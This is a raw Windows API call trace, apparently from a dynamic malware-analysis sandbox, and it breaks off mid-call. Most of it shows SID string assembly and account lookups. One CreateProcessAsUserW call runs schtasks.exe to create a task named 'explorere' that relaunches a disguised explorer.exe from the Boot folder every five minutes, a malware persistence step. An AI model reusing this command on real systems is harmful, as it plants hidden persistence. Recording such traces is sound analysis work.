[0116.745] malloc (_Size=0x18) returned 0x196ef0d2080 [0116.745] SysStringLen (param_1="S-1-") returned 0x4 [0116.745] SysStringLen (param_1="5") returned 0x1 [0116.745] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaaa8, _Size=0xa | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0116.745] memcpy (in: _Dst=0x196ee7aa9c0, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aa9c0) returned 0x196ee7aa9c0 [0116.745] free (_Block=0x196ef0d1be0) [0116.745] free (_Block=0x196ef0d1e00) [0116.745] GetSidSubAuthorityCount (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d12e1 [0116.745] GetSidSubAuthority (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d12e8 [0116.745] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0116.745] malloc (_Size=0x18) returned 0x196ef0d1be0 [0116.745] malloc (_Size=0x18) returned 0x196ef0d20a0 [0116.745] SysStringLen (param_1="S-1-5") returned 0x5 [0116.745] SysStringLen (param_1="-") returned 0x1 [0116.746] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aa9b8, _Size=0xc | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0116.746] memcpy (in: _Dst=0x196ee7aaa82, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7aaa82) returned 0x196ee7aaa82 [0116.746] free (_Block=0x196ef0d2080) [0116.746] free (_Block=0x196ef0d1be0) [0116.746] malloc (_Size=0x18) returned 0x196ef0d1e60 [0116.746] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0116.746] SysStringLen (param_1="S-1-5-") returned 0x6 [0116.746] SysStringLen (param_1="21") returned 0x2 [0116.746] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7aaa78, _Size=0xe | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0116.746] memcpy (in: _Dst=0x196ee7aaab4, _Src=0x196ee7aa9b8, _Size=0x6 | out: _Dst=0x196ee7aaab4) returned 0x196ee7aaab4 [0116.746] free (_Block=0x196ef0d20a0) [0116.746] free (_Block=0x196ef0d1e60) [0116.746] GetSidSubAuthority (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d12ec [0116.746] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0116.746] malloc (_Size=0x18) returned 0x196ef0d1f00 [0116.746] malloc (_Size=0x18) returned 0x196ef0d1c40 [0116.746] SysStringLen (param_1="S-1-5-21") returned 0x8 [0116.746] SysStringLen (param_1="-") returned 0x1 [0116.746] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaaa8, _Size=0x12 | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0116.746] memcpy (in: _Dst=0x196ee7aa9c8, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aa9c8) returned 0x196ee7aa9c8 [0116.746] free (_Block=0x196ef0d1fa0) [0116.747] free (_Block=0x196ef0d1f00) [0116.747] malloc (_Size=0x18) returned 0x196ef0d19e0 [0116.747] malloc (_Size=0x18) returned 0x196ef0d1d00 [0116.747] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0116.747] SysStringLen (param_1="1560258661") returned 0xa [0116.747] memcpy (in: _Dst=0x196ee777bb8, _Src=0x196ee7aa9b8, _Size=0x14 | out: _Dst=0x196ee777bb8) returned 0x196ee777bb8 [0116.747] memcpy (in: _Dst=0x196ee777bca, _Src=0x196ee7aaaa8, _Size=0x16 | out: _Dst=0x196ee777bca) returned 0x196ee777bca [0116.747] free (_Block=0x196ef0d1c40) [0116.747] free (_Block=0x196ef0d19e0) [0116.747] GetSidSubAuthority (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d12f0 [0116.747] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0116.747] malloc (_Size=0x18) returned 0x196ef0d1a40 [0116.747] malloc (_Size=0x18) returned 0x196ef0d1e80 [0116.747] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0116.747] SysStringLen (param_1="-") returned 0x1 [0116.747] memcpy (in: _Dst=0x196ee7772f8, _Src=0x196ee777bb8, _Size=0x28 | out: _Dst=0x196ee7772f8) returned 0x196ee7772f8 [0116.747] memcpy (in: _Dst=0x196ee77731e, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee77731e) returned 0x196ee77731e [0116.747] free (_Block=0x196ef0d1d00) [0116.747] free (_Block=0x196ef0d1a40) [0116.747] malloc (_Size=0x18) returned 0x196ef0d20c0 [0116.747] malloc (_Size=0x18) returned 0x196ef0d19e0 [0116.748] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0116.748] SysStringLen (param_1="3990802383") returned 0xa [0116.748] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7772f8, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0116.748] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0116.748] free (_Block=0x196ef0d1e80) [0116.748] free (_Block=0x196ef0d20c0) [0116.748] GetSidSubAuthority (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d12f4 [0116.748] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0116.748] malloc (_Size=0x18) returned 0x196ef0d1e60 [0116.748] malloc (_Size=0x18) returned 0x196ef0d1b40 [0116.748] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0116.748] SysStringLen (param_1="-") returned 0x1 [0116.748] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0116.748] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0116.748] free (_Block=0x196ef0d19e0) [0116.748] free (_Block=0x196ef0d1e60) [0116.748] malloc (_Size=0x18) returned 0x196ef0d1d60 [0116.748] malloc (_Size=0x18) returned 0x196ef0d20e0 [0116.748] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0116.748] SysStringLen (param_1="1811730007") returned 0xa [0116.748] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0116.748] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0116.749] free (_Block=0x196ef0d1b40) [0116.749] free (_Block=0x196ef0d1d60) [0116.749] GetSidSubAuthority (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d12f8 [0116.749] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0116.749] malloc (_Size=0x18) returned 0x196ef0d1be0 [0116.749] malloc (_Size=0x18) returned 0x196ef0d1980 [0116.749] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0116.749] SysStringLen (param_1="-") returned 0x1 [0116.749] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0116.749] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0116.749] free (_Block=0x196ef0d20e0) [0116.749] free (_Block=0x196ef0d1be0) [0116.749] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0116.749] malloc (_Size=0x18) returned 0x196ef0d1e60 [0116.749] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0116.749] SysStringLen (param_1="1000") returned 0x4 [0116.749] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0116.749] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0116.749] free (_Block=0x196ef0d1980) [0116.749] free (_Block=0x196ef0d1ea0) [0116.749] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0116.749] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0116.750] free (_Block=0x196ef0d1e60) [0116.750] malloc (_Size=0x18) returned 0x196ef0d1a40 [0116.750] free (_Block=0x196ef0d03e0) [0116.750] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0116.755] GetLastError () returned 0x7a [0116.755] malloc (_Size=0x1a) returned 0x196ef0f9a60 [0116.755] malloc (_Size=0xe) returned 0x196ef0d1ba0 [0116.755] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9a60, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ba0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0116.756] malloc (_Size=0x18) returned 0x196ef0d1e00 [0116.756] malloc (_Size=0x18) returned 0x196ef0d1b40 [0116.756] free (_Block=0x196ef0f9a60) [0116.756] free (_Block=0x196ef0d1ba0) [0116.756] free (_Block=0x196ef0fa090) [0116.756] free (_Block=0x196ef0d1b40) [0116.756] free (_Block=0x196ef0d1e00) [0116.757] free (_Block=0x196ef0d1a40) [0116.757] free (_Block=0x196ef0d12d0) [0116.757] SetEvent (hEvent=0x248) returned 1 [0116.758] free (_Block=0x196ef0d5690) [0116.758] CreateEnvironmentBlock () returned 0x1 [0116.763] malloc (_Size=0x18) returned 0x196ef0d1c60 [0116.763] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1304, dwThreadId=0x12e0)) returned 1 [0116.771] CloseHandle (hObject=0x260) returned 1 [0116.771] CloseHandle (hObject=0x264) returned 1 [0116.771] free (_Block=0x196ef0d1c60) [0116.772] DestroyEnvironmentBlock () returned 0x1 [0116.772] malloc (_Size=0x48) returned 0x196ef0d62c0 [0116.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x26745f19, dwHighDateTime=0x1d9eb0c)) [0116.772] SetEvent (hEvent=0x248) returned 1 [0116.772] CloseHandle (hObject=0x26c) returned 1 [0116.772] CloseHandle (hObject=0x270) returned 1 [0116.776] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0116.776] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0116.776] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0116.776] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0117.569] RtlRestoreLastWin32Error () returned 0x670dbf000 [0117.569] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0117.569] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0117.569] RtlRestoreLastWin32Error () returned 0x670dbf000 [0117.569] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788350, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788350, pcchLanguagesBuffer=0x67117de10) returned 1 [0117.569] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0117.569] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0117.569] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0117.569] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0117.569] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0117.572] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0117.573] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0117.573] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0117.573] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0117.574] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0117.577] GetCurrentThread () returned 0xfffffffffffffffe [0117.577] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0117.577] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0117.577] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0117.577] GetLastError () returned 0x7a [0117.577] malloc (_Size=0x2c) returned 0x196ef0d0c90 [0117.577] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0c90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0c90, ReturnLength=0x67117c740) returned 1 [0117.577] IsValidSid (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0117.577] GetLengthSid (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0117.577] malloc (_Size=0x1c) returned 0x196ef0f9be0 [0117.577] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9be0, pSourceSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0117.577] GetSidIdentifierAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ca2 [0117.577] malloc (_Size=0x18) returned 0x196ef0d1f60 [0117.578] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0117.578] malloc (_Size=0x18) returned 0x196ef0d1d40 [0117.578] malloc (_Size=0x18) returned 0x196ef0d1a20 [0117.578] SysStringLen (param_1="S-1-") returned 0x4 [0117.578] SysStringLen (param_1="5") returned 0x1 [0117.578] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa988, _Size=0xa | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0117.578] memcpy (in: _Dst=0x196ee7aaa50, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aaa50) returned 0x196ee7aaa50 [0117.578] free (_Block=0x196ef0d1f60) [0117.578] free (_Block=0x196ef0d1d40) [0117.578] GetSidSubAuthorityCount (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ca1 [0117.578] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0ca8 [0117.578] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0117.578] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0117.578] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0117.578] SysStringLen (param_1="S-1-5") returned 0x5 [0117.578] SysStringLen (param_1="-") returned 0x1 [0117.579] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7aaa48, _Size=0xc | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0117.579] memcpy (in: _Dst=0x196ee7aa842, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7aa842) returned 0x196ee7aa842 [0117.579] free (_Block=0x196ef0d1a20) [0117.579] free (_Block=0x196ef0d1ac0) [0117.579] malloc (_Size=0x18) returned 0x196ef0d20e0 [0117.579] malloc (_Size=0x18) returned 0x196ef0d1a60 [0117.579] SysStringLen (param_1="S-1-5-") returned 0x6 [0117.579] SysStringLen (param_1="21") returned 0x2 [0117.579] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aa838, _Size=0xe | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0117.579] memcpy (in: _Dst=0x196ee7aa994, _Src=0x196ee7aaa48, _Size=0x6 | out: _Dst=0x196ee7aa994) returned 0x196ee7aa994 [0117.579] free (_Block=0x196ef0d1ba0) [0117.579] free (_Block=0x196ef0d20e0) [0117.579] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0cac [0117.579] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0117.579] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0117.579] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0117.580] SysStringLen (param_1="S-1-5-21") returned 0x8 [0117.580] SysStringLen (param_1="-") returned 0x1 [0117.580] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa988, _Size=0x12 | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0117.580] memcpy (in: _Dst=0x196ee7aaa58, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aaa58) returned 0x196ee7aaa58 [0117.580] free (_Block=0x196ef0d1a60) [0117.580] free (_Block=0x196ef0d1ba0) [0117.580] malloc (_Size=0x18) returned 0x196ef0d19e0 [0117.580] malloc (_Size=0x18) returned 0x196ef0d1d80 [0117.580] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0117.580] SysStringLen (param_1="1560258661") returned 0xa [0117.580] memcpy (in: _Dst=0x196ee777f28, _Src=0x196ee7aaa48, _Size=0x14 | out: _Dst=0x196ee777f28) returned 0x196ee777f28 [0117.580] memcpy (in: _Dst=0x196ee777f3a, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee777f3a) returned 0x196ee777f3a [0117.580] free (_Block=0x196ef0d1bc0) [0117.580] free (_Block=0x196ef0d19e0) [0117.580] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0cb0 [0117.580] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0117.580] malloc (_Size=0x18) returned 0x196ef0d1d00 [0117.581] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0117.581] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0117.581] SysStringLen (param_1="-") returned 0x1 [0117.581] memcpy (in: _Dst=0x196ee7772a8, _Src=0x196ee777f28, _Size=0x28 | out: _Dst=0x196ee7772a8) returned 0x196ee7772a8 [0117.581] memcpy (in: _Dst=0x196ee7772ce, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7772ce) returned 0x196ee7772ce [0117.581] free (_Block=0x196ef0d1d80) [0117.581] free (_Block=0x196ef0d1d00) [0117.581] malloc (_Size=0x18) returned 0x196ef0d1d20 [0117.581] malloc (_Size=0x18) returned 0x196ef0d1960 [0117.581] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0117.581] SysStringLen (param_1="3990802383") returned 0xa [0117.581] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7772a8, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0117.581] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0117.581] free (_Block=0x196ef0d1aa0) [0117.581] free (_Block=0x196ef0d1d20) [0117.581] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0cb4 [0117.581] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0117.581] malloc (_Size=0x18) returned 0x196ef0d1f00 [0117.582] malloc (_Size=0x18) returned 0x196ef0d1a80 [0117.582] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0117.582] SysStringLen (param_1="-") returned 0x1 [0117.582] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0117.582] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0117.582] free (_Block=0x196ef0d1960) [0117.582] free (_Block=0x196ef0d1f00) [0117.582] malloc (_Size=0x18) returned 0x196ef0d1e60 [0117.582] malloc (_Size=0x18) returned 0x196ef0d1c40 [0117.582] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0117.582] SysStringLen (param_1="1811730007") returned 0xa [0117.582] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0117.582] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0117.582] free (_Block=0x196ef0d1a80) [0117.582] free (_Block=0x196ef0d1e60) [0117.582] GetSidSubAuthority (pSid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0cb8 [0117.582] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0117.583] malloc (_Size=0x18) returned 0x196ef0d1b40 [0117.583] malloc (_Size=0x18) returned 0x196ef0d19e0 [0117.583] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0117.583] SysStringLen (param_1="-") returned 0x1 [0117.583] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0117.583] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0117.583] free (_Block=0x196ef0d1c40) [0117.583] free (_Block=0x196ef0d1b40) [0117.583] malloc (_Size=0x18) returned 0x196ef0d1e20 [0117.583] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0117.583] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0117.583] SysStringLen (param_1="1000") returned 0x4 [0117.583] memcpy (in: 